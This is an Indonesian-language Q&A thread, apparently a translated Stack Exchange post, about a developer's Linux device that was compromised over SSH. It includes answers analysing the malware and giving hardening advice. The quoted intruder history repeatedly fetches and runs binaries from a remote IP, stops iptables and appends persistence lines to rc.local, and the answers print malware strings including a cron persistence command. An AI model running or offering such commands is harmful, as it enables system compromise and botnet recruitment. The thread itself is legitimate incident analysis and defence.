Apakah saya baru saja diretas?

491

Saya mengembangkan produk konsumen, dan seharusnya terhubung ke Internet, sehingga seperti yang diharapkan, terhubung ke Internet sehingga saya dapat mengembangkannya dengan benar.

Saya pergi selama satu atau dua jam, dan ketika saya kembali ke kantor saya, saya melihat beberapa perintah aneh yang tertulis di terminal.

Melihat file log Linux yang disebut auth.logsaya dapat melihat baris berikut (di antara banyak lagi):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

Alamat IP 40.127.205.162ternyata dimiliki oleh Microsoft .

Berikut adalah banyak perintah yang digunakan saat saya pergi:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Dan lagi:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Saya sama sekali tidak menyadari hal ini. Bagaimana saya bisa mengamankan produk saya dengan benar?

Saya ingin memposting auth.logfile lengkap . Bagaimana aku melakukan itu?

Selain itu, file yjz1yang diunduh tampaknya adalah Trojan Linux dan semua ini tampaknya dilakukan oleh beberapa jenis kelompok peretas menurut http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Haruskah saya menelepon Microsoft dan berbicara dengan mereka? Apa yang harus saya lakukan?

Vaid
sumber
40
Ya itu tidak terlihat terlalu bagus. Saya bukan ahli dalam Linux dengan cara apa pun, tetapi sesuatu pasti mencoba untuk mengeksekusi di sana. Saya tidak yakin bagaimana meskipun sepertinya berusaha masuk sebagai root dan gagal. Apakah ada log lain di auth.log Anda? Adakah cara lain dari admin jarak jauh? Saya telah melihat Mac dengan server VNC yang diaktifkan diretas sebelumnya melalui itu, meskipun ini terlihat seperti upaya SSH. Sepertinya IP yang diunduhnya di-host di Cina di suatu tempat.
Jonno
68
Anda mendapat paksa paksa. Inilah sebabnya mengapa seseorang tidak meninggalkan server ssh di internet, bahkan jika Anda memiliki kata sandi. Apa pun yang kurang dari autent berbasis kunci tidak cukup aman hari ini.
Journeyman Geek
80
Kami memiliki security.stackexchange.com . Tapi hal pertama yang pertama: Tuan rumah yang dikompromikan tidak bisa lagi dipercaya Lepaskan itu dari jaringan. Jika memungkinkan, buat cadangan sehingga Anda dapat meneliti apa yang telah dilakukan dan bagaimana melakukannya. Selanjutnya instal ulang OS dari sumber bersih. Kembalikan data dari cadangan. Amankan sistem agar Anda tidak terinfeksi lagi. Mencari tahu bagaimana mereka masuk sangat dianjurkan. (Karenanya rekomendasi untuk membuat salinan dari sistem yang terinfeksi).
Hennes
84
FYI: 40.127.205.162 adalah alamat IP Microsoft Azure menurut GeoIP. Akibatnya, Anda tidak dapat menyalahkan Microsoft atas serangan tersebut - ini setara dengan menyalahkan Amazon karena seseorang menggunakan EC2 untuk spam. Satu-satunya hal yang dapat dilakukan oleh Microsoft adalah menendang para penyerang dari Azure, tetapi mereka akan kembali ke platform cloud yang berbeda dalam waktu singkat.
nneonneo
41
Bahkan, jika ini ditulis di terminal Anda, peretas mungkin duduk di bilik berikutnya.
isanae

Jawaban:

486

EDIT 2 :

ada satu alasan bagus mengapa posting ini menarik begitu banyak perhatian: Anda berhasil merekam seluruh sesi langsung dari seorang penyusup di PC Anda. Ini sangat berbeda dari pengalaman kita sehari-hari, di mana kita berurusan dengan penemuan konsekuensi dari tindakannya dan mencoba untuk memperbaikinya. Di sini kita melihat dia sedang bekerja, melihat dia memiliki masalah dengan membangun pintu belakang, menelusuri kembali langkahnya, bekerja dengan tergesa-gesa (mungkin karena dia sedang duduk di meja Anda, seperti yang disarankan di atas, atau mungkin, dan menurut pendapat saya lebih mungkin, karena dia adalah tidak dapat membuat malware-nya berjalan di sistem, baca di bawah), dan coba gunakan instrumen kontrol yang lengkap. Inilah yang disaksikan peneliti keamanan setiap hari dengan perangkap madu mereka . Bagi saya, ini adalah kesempatan yang sangat langka, dan sumber hiburan.


Anda pasti diretas. Bukti untuk ini tidak berasal dari potongan auth.logfile yang Anda tampilkan, karena ini melaporkan upaya login yang gagal, terjadi dalam rentang waktu singkat (dua detik). Anda akan melihat bahwa baris kedua menyatakan Failed password, sedangkan yang ketiga melaporkan pre-authpemutusan: orang itu mencoba dan gagal.

Buktinya datang dari konten dua file http://222.186.30.209:65534/yjzdan http://222.186.30.209:65534/yjz1yang diunduh penyerang ke sistem Anda.

Situs ini terbuka untuk siapa saja untuk mengunduhnya, yang saya lakukan. Saya pertama kali berlari filepada mereka, yang menunjukkan:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Lalu saya membawa mereka ke VM Debian 64-bit yang saya miliki; pemeriksaan konten mereka melalui stringsperintah mengungkapkan banyak hal yang mencurigakan (referensi ke berbagai serangan terkenal, untuk perintah yang akan diganti, skrip yang jelas digunakan untuk mengatur layanan baru, dan sebagainya).

Saya kemudian menghasilkan hash MD5 dari kedua file, dan memasukkannya ke database hash Cymru untuk melihat apakah mereka dikenal sebagai agen malware. Meskipun yjztidak, yjz1sedang, dan Cymru melaporkan kemungkinan deteksi oleh perangkat lunak anti-virus sebesar 58%. Itu juga menyatakan bahwa file ini terakhir terlihat sekitar tiga hari yang lalu, jadi ini cukup baru.

Menjalankan clamscan (bagian dari clamavpaket) pada dua file yang saya peroleh:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

jadi kami sekarang yakin bahwa perangkat lunak Linux standar dapat mengidentifikasinya.

Apa yang harus kamu lakukan

Meskipun agak baru, tidak ada sistem yang sangat baru, lihat artikel 2015 Januari ini di XorDdos , misalnya. Jadi sebagian besar paket gratis harus dapat menghapusnya. Anda harus mencoba: clamav, rkhunter, chkrootkit. Saya telah mencari Google di sekitar, dan melihat bahwa mereka mengklaim dapat menemukannya. Gunakan mereka untuk memeriksa pekerjaan pendahulunya, tetapi setelah menjalankan ketiga program ini Anda harus siap untuk pergi.

Sedangkan untuk pertanyaan yang lebih besar,, what should you do to prevent future infectionsjawaban Journeyman adalah langkah pertama yang baik. Ingatlah bahwa ini adalah perjuangan yang berkelanjutan, perjuangan yang kita semua (termasuk saya!) Mungkin akan kalah tanpa menyadarinya.

EDIT :

Pada prompt (tidak langsung) Viktor Toth, saya ingin menambahkan beberapa komentar. Memang benar bahwa penyusup menghadapi beberapa kesulitan: ia mengunduh dua alat peretasan yang berbeda, mengubah izin mereka beberapa kali, menyalakannya kembali beberapa kali, dan mencoba berkali-kali untuk menonaktifkan firewall. Mudah untuk menebak apa yang terjadi: ia mengharapkan alat peretasannya untuk membuka saluran komunikasi ke salah satu komputer yang terinfeksi (lihat nanti), dan, ketika ia tidak melihat saluran baru ini muncul di GUI kontrolnya, takut peretasannya alat sedang diblokir oleh firewall, jadi dia mengulangi prosedur instalasi. Saya setuju dengan Viktor Toth bahwa tahap operasinya yang khusus ini sepertinya tidak membuahkan hasil yang diharapkan, tetapi saya ingin mendorong Anda dengan sangat kuat tidak meremehkan tingkat kerusakan yang ditimbulkan pada pc Anda.

Saya berikan di sini sebagian dari strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Ini memberikan bukti gangguan pada layanan (di dalam /etc/init.ddan di /etc/rc.d), dengan crontab, dengan file riwayat mysql, dan beberapa file procyang merupakan tautan ke bash(yang menunjukkan versi palsu dari cangkang Anda telah ditanam). Kemudian program menghasilkan permintaan HTTP (ke situs berbahasa Cina,

 Accept-Language: zh-cn

yang memberi substansi pada komentar David Schwartz di atas), yang dapat menciptakan lebih banyak kekacauan. Dalam permintaan, binari ( Content-Type: application/x-www-form-urlencoded) harus diunduh ke pc yang diserang (GET) dan diunggah ke mesin pengontrol (POST). Saya tidak dapat menetapkan apa yang akan diunduh ke PC yang diserang, tetapi, mengingat ukuran kecil keduanya yjzdan yjz1(1.1MB dan 600kB, secara repektif), saya dapat berani menduga bahwa sebagian besar file yang diperlukan untuk menyelubungi rootkit, yaitu yang diubah versi ls, netstat, ps, ifconfig, ..., akan di-download dengan cara ini. Dan ini akan menjelaskan upaya demam penyerang untuk mendapatkan unduhan ini.

Tidak ada kepastian bahwa di atas menghabiskan semua kemungkinan: kami tentu saja tidak memiliki bagian dari transkrip (antara baris 457 dan 481) dan kami tidak melihat logout; lebih jauh lagi, terutama yang mengkhawatirkan adalah garis 495-497,

cd /tmp;  ./yd_cd/make

yang merujuk ke file yang kami lihat tidak diunduh, dan yang mungkin merupakan kompilasi: jika demikian, itu berarti penyerang telah (akhirnya?) memahami apa masalah dengan executable-nya, dan sedang mencoba memperbaikinya, dalam hal ini pc menyerang telah pergi untuk selamanya. [Sebenarnya, dua versi malware yang diunduh penyerang ke mesin yang diretas (dan saya ke Debian VM 64bit saya) adalah untuk arsitektur yang tidak cocok, x86, sedangkan nama saja dari PC yang diretas itu memberikan fakta bahwa dia berurusan dengan arsitektur lengan].

Alasan mengapa saya menulis suntingan ini adalah untuk mendorong Anda sekuat mungkin untuk menyisir sistem Anda dengan instrumen profesional, atau menginstal ulang dari awal.

Dan, omong-omong, jika ini terbukti bermanfaat bagi siapa pun, ini adalah daftar dari 331 alamat IP yang yjzmencoba terhubung. Daftar ini begitu besar (dan mungkin ditakdirkan untuk menjadi lebih besar lagi) sehingga saya percaya ini adalah alasan untuk mengutak-atik mysql. Daftar yang disediakan oleh backdoor lainnya adalah identik, yang, saya kira, adalah alasan untuk meninggalkan informasi penting seperti itu di tempat terbuka (saya pikir penyerang tidak ingin melakukan upaya untuk menyimpannya dalam format kernel, jadi ia meletakkan seluruh daftar dalam file teks-jelas, yang mungkin dibaca oleh semua orang yang ada di belakangnya, untuk OS apa pun):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Kode berikut

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

pada daftar di atas menunjukkan bahwa 302 dari total 331 alamat ada di Cina daratan, sisanya ada di Hong Kong, Mongolia, Taiwan. Ini menambahkan dukungan lebih lanjut untuk pendapat David Schwartz bahwa ini sebagian besar adalah cincin bot Cina.

EDIT 3

Atas permintaan @ vaid (penulis OP, baca komentarnya di bawah), saya akan menambahkan komentar tentang cara memperkuat keamanan sistem Linux dasar (untuk sistem yang menyediakan banyak layanan, ini adalah topik yang jauh lebih kompleks). vaidmenyatakan dia melakukan hal berikut:

  1. Pasang kembali sistem

  2. mengubah kata sandi root menjadi kata sandi panjang 16 karakter dengan huruf dan huruf besar kecil dan huruf besar serta digit.

  3. Mengubah nama pengguna menjadi nama panjang 6 karakter campuran dan menerapkan kata sandi yang sama seperti yang digunakan untuk root

  4. mengubah port SSH menjadi sesuatu di atas 5000

  5. mematikan SSH root login.

Ini bagus (kecuali saya menggunakan port di atas 10.000 karena banyak program berguna menggunakan port di bawah 10.000). Tapi saya tidak bisa cukup menekankan kebutuhan untuk menggunakan kunci kriptografi untuk login ssh , bukan kata sandi. Saya akan memberi Anda contoh pribadi. Pada salah satu VPS saya, saya tidak yakin apakah akan mengubah port ssh; Saya meninggalkannya di 22, tetapi menggunakan kunci crypto untuk otentikasi. Saya memiliki ratusan upaya pembobolan per hari , tidak ada yang berhasil. Ketika, lelah untuk memeriksa setiap hari bahwa tidak ada yang berhasil, saya akhirnya mengubah port ke sesuatu di atas 10.000, upaya pembobolan masuk ke nol. Pikiran Anda, bukan bahwa peretas itu bodoh (mereka tidak!), Mereka hanya memburu mangsa yang lebih mudah.

Mudah untuk mengaktifkan kunci kripto dengan RSA sebagai algoritme tanda tangan, lihat komentar di bawah ini oleh Jan Hudec (terima kasih!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Sekarang yang harus Anda lakukan adalah menyalin file id_rsake mesin dari mana Anda ingin terhubung (dalam direktori .ssh, juga chmod'ed ke 700), kemudian mengeluarkan perintah

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Ketika Anda yakin ini berfungsi, edit di server (= mesin yang ingin Anda sambungkan) file /etc/ssh/sshd_config, dan ubah baris

#PasswordAuthentication yes

untuk

PasswordAuthentication no

dan restart sshlayanan ( service ssh restartatau systemctl restart ssh, atau sesuatu seperti ini, tergantung distro).

Ini akan bertahan banyak. Faktanya, saat ini tidak ada eksploitasi yang diketahui terhadap versi saat ini openssh v2, dan RSA seperti yang digunakan oleh openssh v2.

Terakhir, untuk benar-benar melesat ke mesin Anda, Anda harus mengkonfigurasi firewall (netfilter / iptables) sebagai berikut:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Ini, 1) memungkinkan koneksi ssh dari LAN dan WAN, 2) memungkinkan semua input yang berasal dari permintaan Anda (misalnya, ketika Anda memuat halaman Web), 3) menjatuhkan segala sesuatu yang lain pada input, 4) memungkinkan semuanya pada output, dan 5-6) memungkinkan semua yang ada di antarmuka loopback.

Ketika kebutuhan Anda tumbuh, dan lebih banyak port perlu dibuka, Anda dapat melakukannya dengan menambahkan, di bagian atas daftar, aturan seperti:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

untuk memungkinkan misalnya orang mengakses browser Web Anda.

MariusMatutiae
sumber
11
Ini bagus untuk dibaca. Saya juga mencoba file yjz1melalui Googles VirusTotal.com yang memberi positif. Saya bahkan tidak melihat itu yjztelah diunduh. Terima kasih.
vaid
34
Hati-hati menjalankan stringsdata yang tidak terpercaya. lcamtuf.blogspot.com/2014/10/...
Matt Nordhoff
5
@MattNordhoff Terima kasih telah menunjukkan ini, saya sangat tidak menyadarinya. Namun, pada Debian saya, perintah 'strings` lulus tes yang Anda tautkan dengan warna terbang. Saya kira ini karena fakta bahwa manual menyatakan: -a ... Biasanya ini adalah perilaku default . Tepuk tangan.
MariusMatutiae
32
Jawaban ini menunjukkan pendekatan yang harus menjadi paradigma: 1. Jangan biarkan perhatian Anda dialihkan oleh upaya yang gagal, waspada. 2. Mengindividuasikan tindakan penyerang yang berhasil. 3. Pelajari apa dan bagaimana penyerang melakukan. 4. Instal semua dari awal atau dari cadangan terakhir (yang diserang), tambahkan perlindungan tambahan yang diperlukan yang Anda temukan (poin 3). 5. Bantu yang lain untuk melindungi diri mereka sendiri (daftar IP yang dikompromikan / dicurigai).
Hastur
11
[Dihapus setelah komentar oleh @MariusMatutiae] - Namun demikian, OP harus menyadari bahwa pada sistem yang dikompromikan, setiap executable harus dianggap jahat, bahkan shell ls,, whoatau apa pun. "Menyelamatkan data" dengan menggunakan yang dapat dieksekusi pada sistem yang dikompromikan (mis. scpAtau rsync) dapat membahayakan bahkan lebih banyak mesin.
Dubu
142

Selamat datang di Internet - di mana server SSH terbuka kemungkinan akan diselidiki, dipaksakan dengan kasar, dan ada berbagai penghinaan yang menimpanya.

Untuk memulai, Anda harus benar-benar menghapus penyimpanan pada produk. Gambar itu jika Anda ingin meneruskannya untuk forensik, tetapi menginstal Linux di atasnya sekarang dicurigai.

Sedikit menebak tapi

  1. Anda mendapat kekerasan atau menggunakan kata sandi umum. Ini keamanan karena ketidakjelasan tetapi Anda tidak ingin kata sandi kamus atau menggunakan akun root terbuka untuk SSH. Nonaktifkan akses SSH root jika itu opsi atau setidaknya ubah nama sehingga mereka perlu menebak keduanya. SSHing sebagai root adalah praktik keamanan yang mengerikan. Jika Anda harus menggunakan root, login sebagai pengguna lain dan gunakan su atau sudo untuk berganti.

  2. Tergantung pada produk, Anda mungkin ingin mengunci akses SSH dalam beberapa cara. Penguncian total terdengar seperti ide yang bagus, dan memungkinkan pengguna untuk membukanya sesuai kebutuhan . Bergantung pada sumber daya apa yang dapat Anda cadangan, pertimbangkan hanya mengizinkan alamat IP di subnet Anda sendiri, atau semacam sistem pembatasan masuk. Jika Anda tidak membutuhkannya pada produk akhir, pastikan dimatikan.

  3. Gunakan port non-standar. Keamanan tidak jelas lagi, tetapi itu berarti penyerang perlu menargetkan port Anda.

  4. Jangan pernah menggunakan kata sandi default. Pendekatan terbaik yang saya lihat adalah menghasilkan kata sandi secara acak untuk perangkat tertentu dan mengirimkannya dengan produk Anda. Praktik terbaik adalah otentikasi berbasis kunci, tetapi saya tidak tahu bagaimana Anda akan mendekati itu pada produk pasar massal.

Journeyman Geek
sumber
76
5. Gunakan otentikasi kunci publik jika keadaan memungkinkan. Sandi otentikasi jauh, jauh lebih tidak aman.
Bob
4
Ya, tetapi jika ini perangkat konsumen, itu mungkin bukan pilihan. Pada kotak dev, itu terdengar seperti ide yang brilian. Di server, ya, saya memang pernah diretas sebelumnya; p
Journeyman Geek
2
Jika itu adalah perangkat konsumen maka kata sandi atau kunci acak yang sama pada semuanya juga merupakan ide yang buruk. Seperti apa pun berdasarkan nomor seri, MAC atau informasi yang dapat diidentifikasi lainnya. (Sesuatu yang banyak dilewatkan oleh modem / router / WAP SoHO).
Hennes
2
Ini adalah perangkat konsumen. Namun, sebagian besar konsumen yang ditargetkan tidak akan cukup berpendidikan untuk mengetahui apa itu SSH. Jadi SSH dapat dimatikan dan kemungkinan besar akan dimatikan.
vaid
2
Juga, gunakan fail2ban .
Shadur
34

Oh, Anda pasti diretas. Seseorang tampaknya dapat memperoleh kredensial root dan berusaha mengunduh Trojan ke sistem Anda. MariusMatutiae memberikan analisis muatan.

Dua pertanyaan muncul: a) Apakah penyerang berhasil? Dan b) apa yang bisa kamu lakukan?

Jawaban untuk pertanyaan pertama mungkin tidak. Perhatikan bagaimana penyerang berulang kali mencoba mengunduh dan menjalankan payload, tampaknya tidak berhasil. Saya curiga ada sesuatu (SELinux, mungkin?) Menghalangi jalannya.

NAMUN: Penyerang juga mengubah /etc/rc.d/rc.localfile Anda , dengan harapan bahwa ketika Anda me-restart sistem Anda, payload akan diaktifkan. Jika Anda belum menghidupkan ulang sistem, jangan mulai ulang sampai Anda menghapus perubahan ini dari /etc/rc.d/rc.local. Jika Anda sudah me-restart itu ... yah, susah payah.

Tentang apa yang dapat Anda lakukan tentang hal itu: Yang paling aman untuk dilakukan adalah menghapus sistem dan menginstal ulang dari awal. Tapi ini mungkin tidak selalu menjadi pilihan. Hal yang secara signifikan kurang aman untuk dilakukan adalah menganalisis dengan tepat apa yang terjadi dan menghapus setiap jejaknya, jika Anda bisa. Sekali lagi, jika Anda belum me-restart sistem, mungkin yang diperlukan hanyalah membersihkan /etc/rc.d/rc.local, menghapus apa pun yang diunduh oleh penyerang, dan yang tak kalah pentingnya, ubah kata sandi sialan!

Namun, jika penyerang sudah dapat menjalankan payload, mungkin ada modifikasi lain pada sistem Anda yang mungkin sulit dideteksi. Itulah sebabnya penghapusan lengkap adalah satu-satunya pilihan yang aman (dan disarankan). Seperti yang Anda tunjukkan, peralatan yang dimaksud mungkin merupakan sasaran uji / pengembangan sehingga mungkin menyekanya tidak sesakit seperti dalam kasus lain.

